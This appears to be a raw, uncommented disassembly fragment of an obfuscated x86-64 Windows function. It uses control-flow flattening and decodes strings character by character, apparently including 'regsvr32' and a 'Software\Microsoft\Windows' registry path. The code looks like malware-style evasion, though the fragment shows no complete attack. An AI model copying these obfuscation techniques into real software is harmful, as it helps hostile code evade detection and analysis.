nop dword [rax]
cmp edx, 0x35092079
je 0x18002a2c8
cmp edx, 0x4cb6a7b5
jne 0x18002a2a0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a2a0
movzx edx, word [rbp + 0x114]
xor edx, 0x63
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a280
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x42], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a34f
cmp edx, 0x31e06469
jne 0x18002a2f0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a338
cmp edx, 0x4cb6a7b5
jne 0x18002a310
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a310
movzx edx, word [rbp + 0x114]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a2f0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x44], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a3bf
cmp edx, 0x31e06469
jne 0x18002a360
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a3a8
cmp edx, 0x4cb6a7b5
jne 0x18002a380
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a380
movzx edx, word [rbp + 0x114]
xor edx, 0x72
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a360
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x46], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a42f
cmp edx, 0x31e06469
jne 0x18002a3d0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a418
cmp edx, 0x4cb6a7b5
jne 0x18002a3f0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a3f0
movzx edx, word [rbp + 0x114]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a3d0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x48], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a49f
cmp edx, 0x31e06469
jne 0x18002a440
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a488
cmp edx, 0x4cb6a7b5
jne 0x18002a460
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a460
movzx edx, word [rbp + 0x114]
xor edx, 0x67
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a440
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x4a], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a50f
cmp edx, 0x31e06469
jne 0x18002a4b0
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a4f8
cmp edx, 0x4cb6a7b5
jne 0x18002a4d0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a4d0
movzx edx, word [rbp + 0x114]
xor edx, 0x73
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a4b0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x4c], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a57f
cmp edx, 0x31e06469
jne 0x18002a520
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a568
cmp edx, 0x4cb6a7b5
jne 0x18002a540
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a540
movzx edx, word [rbp + 0x114]
xor edx, 0x76
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a520
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x4e], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a5ef
cmp edx, 0x31e06469
jne 0x18002a590
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a5d8
cmp edx, 0x4cb6a7b5
jne 0x18002a5b0
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a5b0
movzx edx, word [rbp + 0x114]
xor edx, 0x72
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a590
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x50], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a65f
cmp edx, 0x31e06469
jne 0x18002a600
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a648
cmp edx, 0x4cb6a7b5
jne 0x18002a620
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a620
movzx edx, word [rbp + 0x114]
xor edx, 0x33
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a600
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x52], dx
mov edx, 0x31e06469
nop
cmp edx, 0x45644e5d
je 0x18002a6cf
cmp edx, 0x31e06469
jne 0x18002a670
mov qword [rbp + 0x108], rbx
mov edx, 0x4cb6a7b5
nop dword [rax]
cmp edx, 0x35092079
je 0x18002a6b8
cmp edx, 0x4cb6a7b5
jne 0x18002a690
mov rdx, qword [rbp + 0x108]
movzx edx, word [rdx]
mov word [rbp + 0x114], dx
mov edx, 0x35092079
jmp 0x18002a690
movzx edx, word [rbp + 0x114]
xor edx, 0x32
mov dword [rbp + 0x100], edx
mov edx, 0x45644e5d
jmp 0x18002a670
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x54], dx
add rcx, 0x56
mov qword [rbp + 0xf0], rcx
mov ecx, 0x31e06469
nop dword [rax]
cmp ecx, 0x45644e5d
je 0x18002a74f
cmp ecx, 0x31e06469
jne 0x18002a6f0
mov qword [rbp + 0x108], rbx
mov ecx, 0x4cb6a7b5
nop dword [rax]
cmp ecx, 0x35092079
je 0x18002a738
cmp ecx, 0x4cb6a7b5
jne 0x18002a710
mov rcx, qword [rbp + 0x108]
movzx ecx, word [rcx]
mov word [rbp + 0x114], cx
mov ecx, 0x35092079
jmp 0x18002a710
movzx ecx, word [rbp + 0x114]
xor ecx, 0x2e
mov dword [rbp + 0x100], ecx
mov ecx, 0x45644e5d
jmp 0x18002a6f0
mov ecx, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xf0]
mov word [rdx], cx
mov ecx, 0x4004d321
jmp 0x180028a50
mov ecx, dword [rbp + 0x108]
mov word [rax + 2], cx
mov ecx, 0xc382c575
nop dword [rax + rax]
cmp ecx, 0xf70b2372
je 0x18002a876
cmp ecx, 0xc382c575
jne 0x18002a780
mov ecx, 0x6ae61856
nop dword [rax]
cmp ecx, 0x95339442
je 0x18002a7c1
cmp ecx, 0x6ae61856
jne 0x18002a7a0
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002a7a0
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x66
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002a780
mov eax, dword [rbp + 0x198]
movzx eax, ax
mov dword [rbp + 0xf8], eax
mov eax, 0x31621dba
nop dword [rax + rax]
cmp eax, 0x33dbcd71
je 0x18002a907
cmp eax, 0x31621dba
jne 0x18002a810
mov eax, dword [rbp + 0xf0]
add eax, dword [rbp + 0xf8]
mov dword [rbp + 0x198], eax
mov eax, 0x33dbcd71
jmp 0x18002a810
sub rsp, 0x20
mov rcx, rbx
call fcn.180030df0
lea rcx, [rbp + 0xa20]
mov rdx, rax
lea r8, [rbp + 0x220]
call fcn.180030d00
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x28], rax
mov eax, 0x9f0ed0bb
jmp 0x18002c4b4
mov ecx, dword [rbp + 0x108]
mov word [rax + 4], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
nop
cmp ecx, 0xf70b2372
je 0x18002aaee
cmp ecx, 0xc382c575
jne 0x18002a890
mov ecx, 0x6ae61856
nop dword [rax]
cmp ecx, 0x95339442
je 0x18002a8d1
cmp ecx, 0x6ae61856
jne 0x18002a8b0
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002a8b0
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x74
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002a890
mov eax, dword [rbp + 0x198]
mov rcx, qword [rbp + 0x108]
mov word [rcx], ax
mov eax, 0x62ce2a60
nop dword [rax]
cmp eax, 0x47e0a5f7
je 0x18002ab77
cmp eax, 0x62ce2a60
jne 0x18002a920
mov rax, qword [rbp + 0x108]
mov dword [rbp + 0xe8], 0x65
mov ecx, 0x208c3fae
nop dword [rax + rax]
cmp ecx, 0x15381f02
je 0x18002a971
cmp ecx, 0x208c3fae
jne 0x18002a950
mov dword [rbp + 0xf8], 1
mov ecx, 0x15381f02
jmp 0x18002a950
mov ecx, dword [rbp + 0xf8]
movzx ecx, cx
mov dword [rbp + 0xf0], ecx
mov ecx, 0x31621dba
nop word cs:[rax + rax]
nop
cmp ecx, 0x33dbcd71
je 0x18002a9b9
cmp ecx, 0x31621dba
jne 0x18002a990
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x33dbcd71
jmp 0x18002a990
mov ecx, dword [rbp + 0xf8]
mov word [rax + 2], cx
mov dword [rbp + 0xe8], 0x44
mov ecx, 0x208c3fae
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x15381f02
je 0x18002aa01
cmp ecx, 0x208c3fae
jne 0x18002a9e0
mov dword [rbp + 0xf8], 1
mov ecx, 0x15381f02
jmp 0x18002a9e0
mov ecx, dword [rbp + 0xf8]
movzx ecx, cx
mov dword [rbp + 0xf0], ecx
mov ecx, 0x31621dba
nop word cs:[rax + rax]
nop
cmp ecx, 0x33dbcd71
je 0x18002aa49
cmp ecx, 0x31621dba
jne 0x18002aa20
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x33dbcd71
jmp 0x18002aa20
mov ecx, dword [rbp + 0xf8]
mov word [rax + 4], cx
add rax, 6
mov qword [rbp + 0x198], rax
mov dword [rbp + 0xe8], 0x42
mov eax, 0x208c3fae
nop dword [rax]
cmp eax, 0x15381f02
je 0x18002aa8f
cmp eax, 0x208c3fae
jne 0x18002aa70
mov dword [rbp + 0xf8], 1
mov eax, 0x15381f02
jmp 0x18002aa70
mov eax, dword [rbp + 0xf8]
movzx eax, ax
mov dword [rbp + 0xf0], eax
mov eax, 0x31621dba
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x33dbcd71
je 0x18002aad7
cmp eax, 0x31621dba
jne 0x18002aab0
mov eax, dword [rbp + 0xe8]
add eax, dword [rbp + 0xf0]
mov dword [rbp + 0xf8], eax
mov eax, 0x33dbcd71
jmp 0x18002aab0
mov eax, dword [rbp + 0xf8]
mov word [rbp + 0xe0], ax
mov eax, 0x47e0a5f7
jmp 0x18002a920
mov ecx, dword [rbp + 0x108]
mov word [rax + 6], cx
mov ecx, 0xc382c575
nop dword [rax]
cmp ecx, 0xf70b2372
je 0x18002ad58
cmp ecx, 0xc382c575
jne 0x18002ab00
mov ecx, 0x6ae61856
nop dword [rax]
cmp ecx, 0x95339442
je 0x18002ab41
cmp ecx, 0x6ae61856
jne 0x18002ab20
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002ab20
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x77
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002ab00
mov rax, qword [rbp + 0x198]
movzx ecx, word [rbp + 0xe0]
mov word [rax], cx
mov rax, qword [rbp + 0x198]
mov word [rax + 2], 0
mov rax, qword [rbp + 0x98]
mov edx, 0xe6f42b36
jmp 0x18002abb0
mov edx, 0xce8cb4c8
mov rcx, qword [rbp + 0x108]
nop
cmp edx, 0xe6f42b35
jg 0x18002abf0
cmp edx, 0xd2fcbbef
jg 0x18002ac20
cmp edx, 0x998567da
je 0x18002aba3
cmp edx, 0xce8cb4c8
jne 0x18002ad37
mov qword [rbp + 0x198], rcx
mov rdx, qword [rbp + 0x198]
cmp rdx, 7
mov edx, 0x254b6f58
cmovb edx, esi
jmp 0x18002abb0
cmp edx, 0x2c07c7ff
jg 0x18002ac50
cmp edx, 0xe6f42b36
je 0x18002ac70
cmp edx, 0x254b6f58
jne 0x18002abb0
mov qword [rbp + 0xe8], rax
mov edx, 0xd6029a92
jmp 0x18002abb0
cmp edx, 0xd2fcbbf0
je 0x18002ac7a
cmp edx, 0xd6029a92
jne 0x18002abb0
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xf0], rdx
mov edx, 0xaff0dabc
jmp 0x18002abb0
cmp edx, 0x2c07c800
je 0x18002ac96
cmp edx, 0x44dc8ac0
jne 0x18002abb0
mov edx, 0xce8cb4c8
xor ecx, ecx
jmp 0x18002abb0
mov edx, 0x44dc8ac0
jmp 0x18002abb0
mov rdx, qword [rbp + 0x198]
lea rdx, [rax + rdx*2]
mov qword [rbp + 0xf8], rdx
mov edx, 0x2c07c800
jmp 0x18002abb0
mov rdx, qword [rbp + 0xf8]
movzx edi, word [rdx]
mov ebx, 0x1aed30f8
nop word cs:[rax + rax]
nop
cmp ebx, 0x4b1fd0a0
je 0x18002ad0b
cmp ebx, 0x1aed30f8
jne 0x18002acb0
mov ebx, 0x208c3fae
nop word cs:[rax + rax]
nop
cmp ebx, 0x15381f02
je 0x18002acf1
cmp ebx, 0x208c3fae
jne 0x18002acd0
mov dword [rbp + 0xe0], 1
mov ebx, 0x15381f02
jmp 0x18002acd0
mov ebx, dword [rbp + 0xe0]
movzx ebx, bx
mov edx, edi
sub edx, ebx
mov dword [rbp + 0x100], edx
mov ebx, 0x4b1fd0a0
jmp 0x18002acb0
mov edx, dword [rbp + 0x100]
mov rbx, qword [rbp + 0xf8]
mov word [rbx], dx
mov rdx, qword [rbp + 0x198]
add rdx, 1
mov qword [rbp + 0x108], rdx
mov edx, 0x998567da
jmp 0x18002abb0
cmp edx, 0xaff0dabc
jne 0x18002abb0
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x48], rax
mov eax, 0xfcd5c40d
jmp 0x18002651b
mov ecx, dword [rbp + 0x108]
mov word [rax + 8], cx
mov ecx, 0xc382c575
nop word [rax + rax]
cmp ecx, 0xf70b2372
je 0x18002ade7
cmp ecx, 0xc382c575
jne 0x18002ad70
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002adb1
cmp ecx, 0x6ae61856
jne 0x18002ad90
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002ad90
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x61
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002ad70
mov ecx, dword [rbp + 0x108]
mov word [rax + 0xa], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002ae77
cmp ecx, 0xc382c575
jne 0x18002ae00
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002ae41
cmp ecx, 0x6ae61856
jne 0x18002ae20
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002ae20
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002ae00
mov ecx, dword [rbp + 0x108]
mov word [rax + 0xc], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002af07
cmp ecx, 0xc382c575
jne 0x18002ae90
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002aed1
cmp ecx, 0x6ae61856
jne 0x18002aeb0
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002aeb0
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x65
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002ae90
mov ecx, dword [rbp + 0x108]
mov word [rax + 0xe], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002af97
cmp ecx, 0xc382c575
jne 0x18002af20
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002af61
cmp ecx, 0x6ae61856
jne 0x18002af40
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002af40
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x5c
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002af20
mov ecx, dword [rbp + 0x108]
mov word [rax + 0x10], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b027
cmp ecx, 0xc382c575
jne 0x18002afb0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002aff1
cmp ecx, 0x6ae61856
jne 0x18002afd0
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002afd0
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6d
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002afb0
mov ecx, dword [rbp + 0x108]
mov word [rax + 0x12], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b0b7
cmp ecx, 0xc382c575
jne 0x18002b040
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b081
cmp ecx, 0x6ae61856
jne 0x18002b060
mov dword [rbp + 0x198], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b060
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x69
mov dword [rbp + 0x108], ecx
mov ecx, 0xf70b2372
jmp 0x18002b040
mov ecx, dword [rbp + 0x108]
mov word [rax + 0x14], cx
add rax, 0x16
mov qword [rbp + 0x108], rax
mov eax, 0xc382c575
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xf70b2372
je 0x18002b155
cmp eax, 0xc382c575
jne 0x18002b0e0
mov eax, 0x6ae61856
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x95339442
je 0x18002b11f
cmp eax, 0x6ae61856
jne 0x18002b100
mov dword [rbp + 0x198], 0xc00a
mov eax, 0x95339442
jmp 0x18002b100
movsxd rax, dword [rbp + 0x198]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
movzx eax, ax
add eax, 0x63
mov dword [rbp + 0xf8], eax
mov eax, 0xf70b2372
jmp 0x18002b0e0
mov eax, dword [rbp + 0xf8]
mov word [rbp + 0xe0], ax
mov eax, 0xfcd23251
nop word [rax + rax]
cmp eax, 0xcc7aac96
je 0x18002b6bf
cmp eax, 0xfcd23251
jne 0x18002b170
mov rax, qword [rbp + 0x108]
movzx ecx, word [rbp + 0xe0]
mov word [rax], cx
mov rax, qword [rbp + 0x108]
mov ecx, 0xc382c575
nop
cmp ecx, 0xf70b2372
je 0x18002b217
cmp ecx, 0xc382c575
jne 0x18002b1a0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b1e1
cmp ecx, 0x6ae61856
jne 0x18002b1c0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b1c0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b1a0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 2], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b2a7
cmp ecx, 0xc382c575
jne 0x18002b230
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b271
cmp ecx, 0x6ae61856
jne 0x18002b250
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b250
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6f
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b230
mov ecx, dword [rbp + 0xf0]
mov word [rax + 4], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b337
cmp ecx, 0xc382c575
jne 0x18002b2c0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b301
cmp ecx, 0x6ae61856
jne 0x18002b2e0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b2e0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x73
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b2c0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 6], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b3c7
cmp ecx, 0xc382c575
jne 0x18002b350
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b391
cmp ecx, 0x6ae61856
jne 0x18002b370
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b370
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6f
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b350
mov ecx, dword [rbp + 0xf0]
mov word [rax + 8], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b457
cmp ecx, 0xc382c575
jne 0x18002b3e0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b421
cmp ecx, 0x6ae61856
jne 0x18002b400
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b400
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x66
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b3e0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xa], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b4e7
cmp ecx, 0xc382c575
jne 0x18002b470
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b4b1
cmp ecx, 0x6ae61856
jne 0x18002b490
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b490
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x74
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b470
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xc], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b577
cmp ecx, 0xc382c575
jne 0x18002b500
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b541
cmp ecx, 0x6ae61856
jne 0x18002b520
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b520
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x5c
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b500
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xe], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b607
cmp ecx, 0xc382c575
jne 0x18002b590
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b5d1
cmp ecx, 0x6ae61856
jne 0x18002b5b0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b5b0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x77
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b590
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x10], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b697
cmp ecx, 0xc382c575
jne 0x18002b620
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b661
cmp ecx, 0x6ae61856
jne 0x18002b640
mov dword [rbp + 0xf8], 0xc00a
